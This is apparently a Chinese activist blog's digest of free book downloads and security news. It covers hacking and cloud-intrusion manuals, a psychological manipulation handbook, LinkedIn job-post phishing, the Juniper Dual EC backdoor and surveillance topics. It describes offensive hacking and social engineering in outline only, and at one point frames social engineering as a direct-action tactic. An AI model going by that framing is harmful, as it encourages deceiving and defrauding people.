这本书的主题就是“平叛”，请注意，这里的“叛”指的并不完全是街头巷战，在数字时代，它包括黑客主义—— 还记得我们介绍过的五角大楼作为机密文件的视频吗？专门对付年轻人的黑客主义反叛，以及对付“低端人口”，避免他们联合起来。

这本书介绍的是一整套镇压手段，最初来自军事战略，现在被用来对付本国人民；就如您现在耳熟能详的间谍监视技术，最初也都是战区使用的—— 没错，他们把那些在伊拉克阿富汗战争中使用的间谍技术，现在放在您家里（智能家居）、您所居住的街道上（智能城市）、甚至绑在您身上（穿戴式）…… 可见，学点军事战略也挺有用的，虽然这很荒唐。

说这么多，只是为了希望您在阅读这本书的时候，知道该注意什么，该如何对它没有充分描述的部分加以补充—— 通过我们详细介绍过的相关技术和知识。

下载：https://t.me/iyouport/8629

下载：https://www.patreon.com/posts/zhen-ya-ge-ming-51677637

中情局正在考虑建立独立的“中国任务中心”

「图」

根据一份新的报告，美国中央情报局正在考虑建立一个独立的任务中心的可能性，该中心将关注中国。传统上，有关中国的问题属于该机构的东亚和太平洋任务中心，该中心专注于包括中国在内的更广泛的地理区域。然而，根据彭博社的报道，这种情况可能会改变。

彭博社周四援引了解中情局“内部讨论”的“三位现任和前任官员”的话说，建立一个独立的中国任务中心的建议来自该机构的新主任威廉-伯恩斯。根据该报告，伯恩斯正在寻找方法，以“使[该间谍机构]与

中国有关的活动更容易获得人员、资金和高层关注”。

一个独立的中国任务中心将使中央情报局能够利用和结合其各局和单位的不同资源。此外，彭博社说，将中国问题提升为一个独立的任务，将反映美国总统拜登政府的政策重点。

该报告是伯恩斯在接受采访时说中情局可能在世界各地的美国政府设施中部署中国专家后不到一个月发布的。这将反映该机构在 #冷战 期间应对苏联的做法。

在今年2月的参议院确认听证会上，伯恩斯表示，他认为中国在近期和长期内是对美国国家安全最严重的威胁。他补充说，中国的 “对抗性[和]掠夺性领导力” 旨在 “取代美国成为世界上最强大和最具影响力的国家”。

这与我们在大选前对拜登政府在中国问题方面的预测相一致。见：《美国的选举为什么撕裂了华人群体：让我们避免使用“川粉”这个词》。

《Common Windows, Linux and Web Server Systems Hacking Techniques》

「图」

最常见的黑客技术和工具——

特洛伊木马是一种恶意软件，通常被伪装成合法软件。木马可以被网络盗贼和黑客利用，以进入用户的系统。用户通常被某种形式的社交工程手段所欺骗，在其系统上加载和执行了木马程序。一旦被激活，木马程序就可以使黑客监视你，窃取你的敏感数据，并获得对你系统的后门访问。

计算机病毒是一种计算机程序，在执行时，通过修改其他计算机程序和插入自己的代码来复制自己。如果这种复制成功，受影响的区域就被称为 “感染” 了计算机病毒。

系统黑客被定义为破坏计算机系统和软件以进入目标计算机并窃取或滥用其敏感信息。在这里，恶意行为者利用计算机系统或网络的弱点，在未经授权的情况下获取其数据或获取非法利益。

Web内容是由运行在服务器端的软件应用程序实时生成的。因此，攻

击者通过使用DoS（DDos）攻击、SYN洪水、PING洪水、端口扫描、嗅探攻击和社交工程攻击，对网络服务器进行攻击以窃取凭证信息、密码和商业信息。

这本书涵盖了用于系统、Windows、Linux和Web服务器黑客攻击的常见技术和工具，对每一个部分进行了详细分析。如果您从事安全工作或正在为自己的日常网络安全防护做准备，这本书中介绍的内容是您应该了解的。

下载：https://t.me/iyouport/8653

下载：https://www.patreon.com/posts/zui-chang-jian-51704013

提醒：LinkedIn 职位列表可能是网络钓鱼诈骗

「图」

LinkedIn 对新账户的验证过程几乎不存在，这个问题使该网站成为骗子和冒名顶替者的温床。但如果这还不够，现在 BleepingComputer 的一份新报告显示，随机的任何人都可以用几乎任何公司的名字发布LinkedIn的职位列表，为网络钓鱼攻击和招聘欺诈打开了大门。

有几个人可能已经知道这个“功能”，但Cyphere的安全专家 Harman Singh 是第一个公开讨论这个问题的人。用他的话说，“任何人都可以在一个公司的LinkedIn账户下发布职位，而且看起来与该公司发布的招聘广告完全一样”。

公司如果不直接联系LinkedIn，就无法删除这些虚假的工作列表。而这是一个大问题，因为骗子可以利用这些虚假的列表将求职者引导到任何钓鱼网站或电子邮件地址。

例如，如果你为苹果公司制作一个假的招聘信息，你可以将求职者诱导到一个假的苹果公司登录页面，收集受害人的用户名和密码。利用电子邮件通信，你可以说服求职者分享个人信息或财务信息，如身份证/社会安全号码（用于“背景调查”）或银行信息（用于“支付工资”）。

在默认情况下，LinkedIn 让公司对未经授权的职位列表完全无法控制。但有些公司，如谷歌，可以免受这种威胁。这是因为他们有额外的职位列表控制，而这些控制是普通账户所不具备的。解锁这些招聘信息控制的唯一方法是找到 LinkedIn 安全团队的私人电子邮件地址

（tns-SAFE@linkedin.com），并投诉该网站糟糕的招聘信息安全性——不是开玩笑。

LinkedIn 可以通过立即阻止所有公司的未经授权的职位列表来解决这个问题，或者至少可以减轻这个问题。但是，该网站似乎对安全问题并不那么感兴趣!

值得一提的是，LinkedIn 告诉 BleepingComputer，它使用“自动和手动防御”来阻止虚假的工作列表，但是，这些所谓的防御**并没有**阻止 BleepingComputer 的研究人员为他们的调查而设置的虚假职位列表。

鉴于 LinkedIn 在中国的庞大用户量和如此多的追求外企工作的中国应聘者，中国朋友了解这件事很重要。您可以在这里看到具体的研究报告：

https://www.bleepingcomputer.com/news/security/you-can-post-linkedin-jobs-as-almost-any-employer-so-can-attackers/

跟进本月初的这个消息——

由90多个致力于民权、数字权利和人权的国际组织组成的联盟，今天致函苹果公司首席执行官蒂姆·库克，敦促苹果公司放弃在其 iPhone、iPad 和 其他产品中建立监控功能的计划。

“尽管这些功能声称旨在保护儿童和减少儿童性虐待材料（CSAM）的传播，但是，我们非常担心它们会被用来审查受保护的言论，威胁到世界各地人们的隐私和安全，并对许多儿童产生灾难性的后果”，这封信的签署者包括民主与技术中心（CDT）、美国公民自由联盟（ACLU）、美国笔会、电子前沿基金会（EFF）、Access Now、英国隐私国际（Privacy International）、Derechos Digitales、全球之声、全球伙伴数字组织、以及来自欧洲、拉丁美洲、非洲、亚洲和澳大利亚的团体。

信中指出，苹果公司打算用来检测“信息中露骨图像的算法”出了名的不可靠 …… 而且容易错误地标记艺术、健康状况信息、教育资源、宣传信息和其他图像”。

由于苹果公司的审查计划，“iMessages将不再通过端对端加密信息系统向用户提供保密性和隐私，不再只有发送者和预定接收者能够获得所发送的信息。公开信中强调：“一旦内置了这种后门功能，政府可

以迫使苹果公司将通知扩展到其他账户，并检测出因性行为以外的原因而令人反感的图像”。

苹果公司还在引入第二项功能，将对照儿童安全组织提供的CSAM图像的哈希数据库，扫描用户上传到iCloud的每张照片，当达到匹配的阈值时，将禁用该账户并向当局报告该用户和这些图像。

CDT安全与监控项目联合主任 Sharon Bradford Franklin 说，该联盟担心苹果将面临来自全球各地政府的压力，要求扫描CSAM以外的他们认为政治敏感的图像。

“我们可以预计，各国政府都将利用苹果公司在iPhone、iPad和电脑中建立的监控能力。他们将要求苹果公司扫描并阻止侵犯人权的图像、政治抗议和其他应受保护的自由表达内容，这些内容构成了自由和民主社会的支柱”。

公开信：https://cdt.org/insights/international-coalition-calls-on-apple-to-abandon-plan-to-build-surveillance-capabilities-into-iphones-ipads-and-other-products/

重点监视黑名单

「图」

在1月6日国会暴动之后，国土安全部正在考虑将针对公民社交媒体的监控工作外包，紧接着，一份新的报告揭示了建立公民数据库的一些后果：数据可能泄露。

一份包含190万条记录（包括“边控”黑名单）的秘密数据库在网上曝光。有可能恶意者已经看到了这份名单，因为它没有密码，可以在多个搜索引擎上搜索。

Discovery Research 的 Bob Diachenko 今年7月在一个开放的 Elasticsearch 集群中偶然发现了这份名单。⚠ 该名单上有超过190万人的敏感信息，包括姓名、国籍、出生日期、性别、禁飞状态和护照细节。

Diachenko 断定这是一份禁飞名单或类似的重点监视名单，因为它包含 “no_fly_indicator” 和 “passport_id” 等字段。

“鉴于数据的性质，这是唯一有效的猜测，而且还有一个名

为’TSC_ID’的特定字段。TSC可以代表恐怖分子筛选中心，这是联邦调查局的一个资源，被多个机构使用。TSC有一个数据库，就叫“no-fly-list.”

Diachenko 可能不是唯一偶然发现这份名单的人，因为考虑到它不需要密码就可以进入，而且可以在搜索引擎 ZoomEye 和 Censys 上简单地搜索到。

Diachenko 于7月19日在一台拥有巴林IP地址的服务器上发现了该数据库。他在同一天向国土安全部报告了数据泄漏，但该部门花了三个星期才将其删除。

Diachenko 在他的报告中写道：“我在发现了被暴露的数据的同一天就向国土安全部报告了 ....，而被暴露的服务器在大约三周后，即2021年8月9日才被取下.....不清楚为什么花了这么长时间，我也不确定是否有未经授权的各方访问它”。

据这位研究人员称，如果名单落入坏人手中，对名单上的人来说是很危险的：“在错误的人手中，这份名单可能被用来压迫、骚扰或迫害名单上的人和他们的家人”。它更可能会给那些名字被列入名单的无辜者带来任何数量的个人和职业问题。

在 “国内反恐” 的热潮下，这一庞大的数据泄露应该提醒人们警惕。

如果您错过了《警察将活动家称为“国内极端分子”的五个荒谬理由》

《Operator Handbook: Red Team + OSINT + Blue Team Reference》

「图」

技术手册：红队、蓝队和开源情报——

这是2020年的新书，采用了三种学科：红队、开源情报、蓝队，并将它们合并为一个完整的参考指南。

这本书包含了100多个单独的参考资料，涉及从业人员最常使用的许多工具和技术。不论是最老练的网络安全高手还是刚刚在职业领域起步的人，都能从中找到灵感。

将所有学科合并成一本书的目的是为了消除一个 “团队” 内只存在某

些知识的人为障碍。现实情况是，今天复杂的数字环境要求人们在所有领域都有一定程度的知识。

蓝队应该观察和了解红队的战术，红队应该不断地推动与蓝队的合作，而开源情报应该不断地努力剥离分散在不同数据源中的作恶者的证据。

这本书中每个参考资料都是按字母顺序排列的，有助于加快查找。另外，几乎每个主题都从“如何利用X”和“如何防御X”的相对角度进行了阐述。涵盖的工具和主题包括：云服务、操作系统、移动网络、开源情报、端口、取证、恶意软件资源、防御者工具、攻击者工具、OSINT工具以及其他各种支持工具（Vim、iptables、nftables等…）。

下载：https://t.me/iyouport/8661

下载：https://www.patreon.com/posts/ji-zhu-shou-ce-52134922

收益递减：在内卷的世界里思考全球资本主义

「图」

一位自由派经济学家试图考虑当今资本主义的状况。

自由派论述资本主义，这可能听起来像个笑话。而且，这本新书也并不完美，因为它提出的概念不具备普遍适用的价值，且部分观点有待商讨。但是，这本书对于想要了解中国未来的且对地缘政治作用感兴趣的读者，依旧值得推荐。因为，它特别适合两个国家：美国和中国。

它的贡献在于，准确地指出了美国和中国同属于资本主义，这点非常重要！也是为什么我们一直强调中国的资本主义性质，这一理解基础将有效指导中国社会的反抗着力点。而几乎所有论述“新冷战”的华盛顿体制内知识分子都特别容易忽略中国的资本主义性质，他们以“冷战”来暗示意识形态斗争，懒惰的中国观察家们在此与北京叙事一样混乱，造成了很大的误导性。

我们明天将发布对这本书哪里有错误的分析《收益递减：在内卷的世界里思考全球资本主义》，现在，您可以下载阅读这篇文章中提及的6本书—— 这对长期遭受错误概念灌输以至于总是找不到正确的反抗战略的中国社会来说，将具有价值。

01 Capital And Ideology；

02 The triumph of injustice: how the rich dodge taxes and how to make them pay；

03 Unbound: How Inequality Constricts Our Economy and What We Can Do about It；

04 Deaths of Despair and the Future of Capitalism；

05 The Haves and the Have-Nots: A Brief and Idiosyncratic History of Global Inequality；

06 Capitalism, alone: the future of the system that rules the world

下载：https://www.patreon.com/posts/shou-yi-di-jian-52796796

您是暴动主义者吗

「图」

Another Critique of Insurrectionalism

written in Barcelona, 2014

这本杂志是对 2014 年左右在巴塞罗那实施的「暴动主义」的批评。

虽然这似乎是一个深奥的话题，但这里的批评提出了许多值得认同反叛为唯一路径的无政府主义者应该考虑的问题，**是很有时效性的当前问题**—— 甚至包括那些没有认同反叛为唯一路径的人也应该了解。

关于镇压和起义反应的讨论具有特别的高价值，因为它深入了某些起义方法和想法的局限性。

📌 它的相关性远远超出巴塞罗那，是一个重要的例子，关于更多的无政府主义者应该进行的那种战略参与和对话。

特别推荐给中国的行动者。

下载：https://www.patreon.com/posts/55433946

《How to Hack Like a Ghost: Breaching the Cloud》

「图」

2021新书，像幽灵一样入侵——

这本书将帮助您深入了解一位黑客大师的思想，他闯入了一个充满敌意的云安全环境。

Sparc Flow邀请您跟踪他的每一步行动，从侦察到渗透，您将入侵一家以数据为导向的阴暗的政治咨询公司—就像“剑桥分析公司”。虽然目标是虚构的，但该公司的漏洞是基于当今先进的网络安全防御系统的真实弱点。

您将亲身体验他的任务中所有的惊险、挫折、死胡同和极乐时刻，同时掌握渗透云技术的实用的尖端技术。

黑客没有重来的机会，所以，您的培训将从基本的操作安全开始，使用一个临时的操作系统、Tor、中继服务器和详细的代码来建立一个匿名的、可替换的黑客基础设施，以保证避免被发现。从那里，您将研究一些有效的侦察技术，从头开始开发工具，以获得对目标的访问。Spark Flow 巧妙的洞察力、机智的推理和隐秘的手法，教您如何用细节开始思考，将他的技能运用到您自己的黑客任务中。

您将学到：

- 如何改变您的互联网足迹；
- 如何进行有效的侦察，比如利用DevOps自动化系统的优势来搜索凭证；
- 如何观察和访问AWS的存储系统；
- 像Kubernetes这样的云安全系统是如何工作的，以及如何入侵它们；
- 动态提升权限技术等等……

这本快节奏的实践指南包含了有趣的技巧、巧妙的提示和外部资源的链接，将帮助各种类型的黑客在下一次冒险中取得成功。

下载：https://t.me/iyouport/8678

下载：https://www.patreon.com/posts/2021xin-shu-you-52297040

《Shadow Warfare—Cyberwar Policy in the United States, Russia and China》

「图」

影子战争：美国、俄罗斯和中国——

这是2021年的新书。作者认为，我们生活在一个永久的战争状态中，而正是在网络领域，战斗—— 攻击、反击和间谍活动—— 发生得越来越频繁。

互联网曾经被认为是一个创新、快乐和充满活力的空间，支持网上银行、社交媒体互动和流媒体娱乐，而现在它已经成为一个战区，由经常在国家赞助者授意下行动的影子战斗人员所占据。

不仅网络行为者或其行动被掩盖了，而且其时间限制也消失了。换句话说，网络战是最终的“永恒战争”。它是持久的，因为各种行为者不断处于冲突或战争状态。没有开始、没有结束、没有和平条约、也没有赔偿、慰问或纪念碑。

网络战通过模糊对手和盟友之间的区别，将战争演变成了影子战争。

在这种战争中，盟友和对手之间的区别变得不重要。中国、俄罗斯和美国的政策是这本书的重点，但真正的挑战是如何从它可能带来的破坏中呈现秩序。

它提供了一个关于美国、俄罗斯和中国的国内机构和战略的比较视角。这一比较视角揭示了这三个大国在其国家安全政策中是如何广泛依赖进攻性网络攻击的，其目标是工业和政府机密。

这本书是任何寻求深入了解当代网络战争、其变体、其模式和未来相关挑战的人的必读之作。

- 如果您错过了这份调查报告《美国、中国和俄罗斯：暗网最强大的民族国家骇客》

下载：https://t.me/iyouport/8681

下载：https://www.patreon.com/posts/ying-zi-zhan-mei-52298142

好了，就是这样！我们已经开始加入了一些开源情报工具的推荐、以及时局分析在书籍汇总中（避免制作太多单独的内容了），相关工具

不定时推送在 Telegram 频道中，除非格外必要，patreon不推送工具。

一如既往，希望本期汇总中国有您喜欢的内容。我们下次见！〇

原文

IYP优秀书籍汇总2021（09～10 月版）-完全免费下载 - iyouport

免费书和纪录片

本系列在双月的月底更新

非常抱歉，我迟到了。

Hi，朋友！这里是2021年的第5次汇总，9～10月版，您可以在下面回顾过往内容：

- 《IYP优秀书籍年度汇总2019—在线下载免费阅读》64份
- 《IYP 优秀书籍汇总2020（1～2月版）—完全免费下载》47份
- 《IYP优秀书籍汇总2020（3～4 月版）》14份
- 《5～6月版》20份
- 《7～8月版〉21份
- 〈9～10月版〉20份
- 〈11～12月版〉17份
- 〈2021年 1～2月版〉24份
- 〈3～4月版〉32份
- 〈5～6月〉
- 〈7～8月〉

来看看本次汇总中有没有您感兴趣的内容？

抵制深度造假的新方法 ——

「图」

如您所知，我们曾经提供过很多关于如何抵制深度造假 #deepfake 的研究和情报更新，如今这已经越来越成为安全领域的热点议题；因为它不仅仅被用于栽赃（如 在凶案现场伪造您杀人的证据）、人格暗杀（如 作为抹黑运动的武器构陷反抗者和政治异议）、造谣和钓鱼（如 伪造新闻照片）而且，已经被用于虚构地缘政治叙事，以挑起战争冲

突（深度造假的卫星地图），这是非常危险的。

抵制深度造假的技术工具必需不断被更新，因为造假技术一直在飞速进化，它不仅越来越容易使用，以至于不懂技术的人也能简单操作；并且，越来越难以被检测到。

这里是第 38 届国际机器学习大会 (ICML 2021)论文集中的一篇，它介绍了一个新工具 Markpainting，该工具使用对抗性机器学习技术来欺骗图像修复软件，使其编辑的内容在肉眼下清晰可见。图像所有者可以用微妙的方式修改他们的图像，这些方式本身并不十分明显，但会通过添加由标记绘制者事先确定的可见信息来破坏任何试图对其进行的涂抹。

其中一个应用是防篡改标记。例如，一家在其网站上提供带有版权水印的照片的图片社，可以用这样的方式进行标记，使任何使用普通编辑软件去除水印的人都会失败。这是最简单的用例。

在打击假新闻的斗争中，给新闻照片打上标记意味着任何试图操纵它们的人都将面临可见的人工痕迹的风险。

对深度造假技术抵制感兴趣的朋友可以通过研究这篇论文获得灵感。我们将需要追求抵制工具的简单易用性，以及足够的前瞻性，以延长其生命力。

下载这份论文：https://t.me/iyouport/8696

《The Art of Psychological Warfare: Discover How to Defend Yourself from Manipulation and Learn Dark Techniques to Mislead, Intimidate, Demoralise and Influence … the Thinking or Behaviour of Your Enemies》

「图」

真的有可能通过入侵敌人的思想，不战而胜吗？——

「图」

您有没有想过为什么政客、演讲者和表演者总能得到他们想要的一切？

您是否厌倦了别人总是在工作或生活中占尽优势？

现代生活小窍门对您来说总是显得重复？

如果您问自己这些问题，答案就是：心理战的艺术。

心理战自古以来都存在，古代文献如孙子兵法或历史人物如亚历山大大帝、成吉思汗、马基雅维利等人都是懂得军事和心理战略永恒的例子。

随着时代的进步，直到今天，战争艺术越来越微妙，越来越难以辨别。

20世纪中叶以来，对大众传播和说服的最有效方法的研究取得了巨大的进步，在新闻学、市场营销、公关、审讯、和舆论引导等众多专业领域，都有着显著的“进步”。然而，这些成功也带来了非常令人不安的影响：宣传、颠覆、恐吓、造谣、大规模的谎言、欺骗、洗脑和操纵舆论，个人的思想自由不断受到攻击。

这本2021年最新上架的手册对黑暗心理学中一些最有影响力的概念进行了最前沿的提炼，这些技术是世界各地的政治家、战略家、演讲者、表演者和销售者几个世纪以来磨练出来的。

这本手册现在在您手中，请讲它用在正义的目标上。

您会读到：

- 孙子和马基雅维利能教你如何消灭敌人
- 如何发现黑暗的人格，以及如何保护自己不受他们的影响
- 欺骗、影响和支配的心理学
- 勒索和操纵的艺术
- 教派、组织和品牌中的洗脑是如何进行的
- 政治宣传和媒体策略如何在大众中达到他们想要的效果
- 适用于工作、关系和商业世界的“战争艺术”

这本书不是玩笑。不管您喜不喜欢，总有一些人会试图伤害您，或者试图利用您来获得他们自己的快乐或利益。

您并不是唯一能接触到心理战方法的人。如果您还不知道这些，您有可能是一个终生的受害者。

在本书中，作者研究了心理战的各种形式、黑暗人格、PsyWar的关键

因素，最重要的是，我们如何反击并取得胜利。毫无疑问，这是您能送给自己的最好礼物。

下载：https://t.me/iyouport/8699

下载：https://www.patreon.com/posts/zhen-de-you-ke-48775064

推特计划给你更多的隐私，但它究竟是否完美，尚未确定——

「图」

Twitter 正在计划新的功能，给人们更多的 “隐私选择”。据报道，该社交网络的计划包括将旧的推文归档，以便在一定的时间内（如30、60、90天或一整年）不被其他用户看到。它们还包括可能的选项，以限制谁能看到您点赞的推文，让人们从推特上的对话中隐藏自己，以及，让人们可以删除追随者而不直接拉黑他们。

彭博社将这些新功能描述为一套 “社会隐私” 的变化，目的是让人们在Twitter上更自如地参与。Twitter 的内部研究显然发现，许多用户甚至不了解自己的账户是设置为公开还是私密的—— 该公司将在9月开始要求用户审核。

据称，一些变化没有时间表，特别是存档选项，还处于 “概念阶段”。但据报道，Twitter 计划在年底前开始让人们从对话中删除自己，并从本月开始让人们可以移除追随者（而不是拉黑/静音）。

推特在给 The Verge 的一份声明中确认了这一消息。一位发言人说：“在Twitter，隐私不仅仅是我们对你的数据所做的事，它也是关于我们如何帮助你感到安全并控制你在 Twitter 上的显示方式。我们知道，在隐私问题上没有一个放之四海而皆准的方法，所以我们很高兴推出更多的功能和工具，使人们能够在 Twitter 上定制自己的体验。我们对社会隐私的关注是受到我们进行的一项全球调查研究的启发，该研究旨在更好地了解全球各地人们对隐私的看法和需求。我们将在下周开始测试其中的一些功能”。

隐私方面的变化复制了许多用户已经采用的有时很笨重的变通方法，包括在一段时间后自动删除推文的第三方服务。这种方法的确已经过时了。

【注】这一系列新功能的陆续推出也同时意味着开源情报调查在推特

上将出现非常不同的前景；很多传统追踪工具将失效，当然也会有新的工具出现，但效果无法预测。

我们希望假设推特不会将用户数据出售给想要追踪抓捕异议人士的当局，以满足后者的“充分可见度权限”，然而无法排除的可能性是，这一系列变化仅对用户进行可见度限制，而推特自己可以看到一切……于是这一结果可能包括用户数据的价格上涨。

希望数字权利组织对这一问题进行跟踪监督。

如果您对数字安全性和开源情报感兴趣，并且英语足够好，这里有一些播客也许您会喜欢——

「图」

一般来说，对技术有兴趣的人以及相关从业者的英文水平都很不错，于是收听博客应该不成问题。于是今天的内容我们将推荐一些博客，与开源情报调查和数字安全性/安全防御有关。

1、Darknet Diaries

我们以前介绍过它，见：https://t.me/iyouport/7009

这个由 Jack Rhysider 制作的播客节目深入到互联网的阴暗面。他采访了很多黑客和安全研究人员，也分享了世界各地一些著名威胁事件的背景。有很多令人敬畏的故事，可能大多数对安全感兴趣的读者都知道：https://pod.link/1296350485

2、Hacked

这是由 Jordan Bloemen 和 Scott Francis Winders 制作的播客，对于那些对所有技术术语不甚了解的人来说很友好。因为他们不仅谈论来自安全世界的有趣故事，还用通俗易懂的语言解释很多技术细节。如果您是初学者或业余爱好者，这个博客应该适合您入门：https://pod.link/1049420219

3、Phishy Business

这是 Brian Pinnock 和 Alice Jeffrey 的一个相当新的播客，每集他们都有一个嘉宾来谈论一个特定的话题。比如如何诈骗，也就是社交工程学的技巧（我们有中文的相关专栏）。

顺便说，了解社交工程学不仅为了帮助您防止被诈骗，并且，它本身是一项直接行动战术 …… 就如同时处于灰色地带的黑客主义直接行动。同样，这取决于您对所谓的 “程序正义” 的理解。我们并没有建议您做什么，感谢您记得这件事:)

如果您想听有趣的人讲述有趣的故事，可以试试这里：https://pod.link/1555997980

4、Malicious Live

这个由 Ran Levi 制作的播客讲述了各种安全相关的话题。从黑客和威胁事件的背景故事、或像面部识别这样的道德问题，到对技术细节的简单易懂的解释：https://pod.link/1252417787

5、Recorded Future—Insight Security Intelligence

Recorded Future 不仅是一家网络安全公司，他们也有一些不错的文章，并制作了一个质量很好的播客。每周都会有一个大约20至25分钟的播客，与嘉宾讨论一个单一的主题。它们略带技术性，但不用担心，对于刚开始从事这一行业的人来说，可以很容易地跟上：https://pod.link/1225077306

6、Casefile

这个播客谈论的是敏感话题。该节目已经制作了200多集，谈论了谋杀、失踪、未解之谜和其他严重犯罪。这是一个制作精良的播客，对历史案件有扎实的研究，对最近的新闻案件也有可靠的研究。

如果您对公民独立调查感兴趣（即 摆脱警察的直接行动），它讲述的案件和其中的思考方式，也许会对您有帮助—我们也有公民调查技巧的专题，在列表-3 中：https://pod.link/998568017

7、Breadcrumbs by Trace Labs

这个相当新的播客是由 Trace Labs 制作的，Trace Labs 是加拿大的一个非营利组织，专注于对失踪人口的众包调查，这也是公民独立调查NGO项目的重要部分。从某些平台上的特定主题和技术，到提供专业领域洞察力的嘉宾。它比较新，目前为止共有11集： https://pod.link/1542092539

📌 如果您有兴趣使用我们发布的内容制作博客，并且您的中文口语足够好，欢迎联系我们！

致命的傲慢是一种智力缺陷：关于国安局加密后门最简易的解读 ——

「图」

对于上面👆这个消息，彭博社的报道没有太多详细阅读的价值。如果您对安全问题感兴趣，我们翻译了约翰霍金斯大学密码学教授 Matthew Gree 的推文，他说得简单易懂。

如果您希望知道所有这类事件的成因，那么阅读这篇文章将是最好的：《为什么要求解散国安局？》。

看得出 Gree 教授很生气，他使用了一些带有悲观色彩的措辞。我们非常理解他为什么会如此表述，但在我们看来，悲观绝望，不论其真实程度有多么之高，它无助于解决问题。最终，不论如何，我们依旧要解决这些问题，我们所有人的安全问题，我们的安身立命之本。所以，请广泛传播这些安全性基础知识，让更多人了解现实，这将是我们集体反抗的基础。

Matthew Gree：

对于彭博社的新报道，需要提醒那些可能已经忘记了2015年发生过什么的人（那是很久以前的事了！），美国国家安全局在一个普遍被使用的加密标准中插入了一个后门，然后靠制造商来安装它。

该后门是在一个名为 Dual EC 的伪随机数发生器中。它并不十分微妙，但它是*可否认的。你可以对自己说："好吧，这可能是可怕的和可被利用的，但没有人会这么做吧"。事实上，很多严肃的人都这么自己骗自己来着。但他们 [攻击者] 确实这么做了。

国安局不仅在加密标准中插入了这个后门，而且，据称他们还付钱给公司，迫使那些公司在其产品中实施这个后门—— 这包括美国主要的安全公司，如 RSA Security 和 Juniper (只是据我们所知！换句话说，如果还有其他的，就不知道了)。

2013年，证实这种后门存在的令人信服的证据已经在斯诺登文件中泄露出来了（在这里看到《互联网霸主的时间线》）。那时候我们还不知道它的实施范围究竟有多大，但即使什么都不知道，它本身也是足够令人震惊的。

如果事情只是到此为止，已经是一个非常令人尴尬的故事了。但是，

这件事并没有就此停止，相反它变得更糟糕了。

据称，美国情报机构说服了使用该后门的产品之一 即 瞻博网络，其 NetScreen 系列防火墙在全球和美国政府中被广泛部署。我们此前不知道这件事，因为该公司在其认证文件中隐藏了这一点。

即使我们知道这件事，我相信所谓的 “严肃” 的人也会大声争辩说，这没什么大不了的，因为只有美国国安局 “才有可能利用这个漏洞”（它使用了只有他们自己才知道的秘密特权），所以（从一个非常以美国为中心的角度来看）为什么要大惊小怪呢？

但是，这个领域被称为计算机安全性；而不是计算机乐观主义！我们考虑的是应该最坏的情况，因为如果我们不这样做，我们的对手绝对会这样做。

事实上，他们已经这样做了。而没有人考虑到的是，*即使后门需要一个只有美国国安局知道的特殊秘钥*，一个有这样一个后门的系统也可以很容易地被 “密钥更新”。

在实践中，这只是意味着入侵一个主要的防火墙制造商的安全性较差的源代码库，改变32个字节的数据，然后等待大量的VPN连接突然变得容易解密时的意外收获。这就是现在发生的事。

这家公司是瞻博网络，入侵事件是在**2012**年发生的。据称（在这份新报告中）是一个名为 **APT 5** 的中国组织。不计其数的企业防火墙都收到了新的后门，不论是美国本土还是海外，所有系统都因此变得很脆弱。

这个新后门在 NetScreen 代码中保留了超过*三年的时间，这是一个令人震惊的漫长时间。最终，它在2015年圣诞节前后被揭露。

幸运的是，我们从中学到了很多东西。所涉及的每个人都被解雇了，不再在面向消费者的密码学领域工作 ……

我在开玩笑**!** ！并没有任何人被解雇！相反，整件事被掩盖了！每一个参与其中的人都得到了大幅的晋升、或横向转移到行业中有利可图的职位上。

瞻博网络黑客事件的结果今天仍然被掩盖着。我们都不知道目标是谁。(根据时间线，我支持的理论是它可能是OPM，但这也是猜的)。据推测，联邦调查局知道点儿什么，想必内情是如此的糟糕以至于FBI不得不保持沉默。

当前事件的教训非常简单：坏事发生了—— 永远不要在你的系统中设置后门，不管它们在密码学上看起有多么聪明，也不管你认为自己有多么聪明。所有后门都是等待被利用的漏洞，如果**NSA**没有准备好，我们所有人都会完蛋。

第二个教训是："严肃" 的人总是倾向于远离最坏情况的预测。在桥梁建设和政治方面，你也许可以听从这些人的意见；但是，计算机安全是对抗性的—— 攻击者有意识的目标是带来最坏情况的结果。

顺便说一下，人们很难学到这个教训。可能我们人类并不具备这样的智商。

关于瞻博网络和彭博社这份报告，我只想说两件略带 "内部人士视角" 的事。

首先，将 Dual EC 纳入 Juniper-NetScreen 并不像国安局给这些公司打电话要求他们实施 "NIST标准" 那么简单。

瞻博网络的公开认证文件中并没有提到 Dual EC 甚至在 NetScreen 产品中使用。它列出的是另一种算法。NetScreen 的 Dual EC 实现是在认证的基础上*加入的*，而且没有文件。恶臭……

当然，在 NetScreen 的代码中还有一个非常巧合的 "哎呀" 级软件漏洞，允许 Dual EC 的原始输出渗出，绕过了他们官方的、有记录的算法。更多信息见这里：https://dl.acm.org/doi/pdf/10.1145/3266291

我已经把这个故事讲过八百万次了，而它从来没有停止过让我吃惊，这一切真的发生了，而我们所做的只是试图建立更多的加密后门。这让我非常、非常疲惫！

补充：白宫新闻秘书在被问及这个报道时，他们的回答是："别再问了！"

《Why You Won't Get Rich: How Capitalism Broke its Contract with Hard Work》

「图」

为什么你永远都发不了财？——

「图」

飙升的租金、不公平的税收和不断增长的零工经济，带来了前所未有的经济耻辱。寡头公司的仓库工人住在帐篷里，卡车司机只能在瓶子里撒尿，护士求助于食品银行，花了几十万学费获得的高学历毕业生靠送外卖贴补家用，最重要的职位创业者通勤几百公里去上班 ……

即使是那些地位较高的人也正在失去对自己所承诺的生活的控制。大律师的收入低于最低工资，医生的工资低于全国平均水平，却背负着超过10万的学生债务。

同时，一代年轻的专业人士正在接受这样的事实：他们甚至永远无法拥有他们所在地区最便宜的房子。

以上描述的是英国。但是，如今几乎全世界的国家都面临着一个新的经济现象—— 在职贫困。在这种情况下，中国人已经不得不信任“躺平”了。

许多人都是不健全经济体制下的无形受害者。

当过去十年间少数人获得了难以估计的财富，而无数的人却因为个人债务、高额的房租、低薪、及苛刻的社会福利系统而被迫处于财务崩溃的边缘。

跌到贫困线以下简直轻而易举，而一旦你落入贫困线，你几乎不可能再逃脱。

扭转这种损害的唯一方法是让每个人在社会中拥有经济利益。

那么，如何做到这点？

这本2021年的新书也许很适合在 “内卷” 中挣扎的中国朋友。

下载：https://t.me/iyouport/8712

下载：https://www.patreon.com/posts/wei-shi-yao-ni-52722939

免费的Web开发资源——

「图」

学习平台：

- https://freecodecamp.org
- https://codecademy.com
- https://javascript30.com
- https://frontendmentor.io
- https://testautomationu.applitools.com
- https://coursera.org
- https://khanacademy.org
- https://sololearn.com

免费托管：

- https://netlify.com
- https://firebase.google.com
- https://aws.amazon.com
- https://heroku.com
- https://pages.github.com
- https:// /vercel.com
- https://surge.sh
- https://render.com
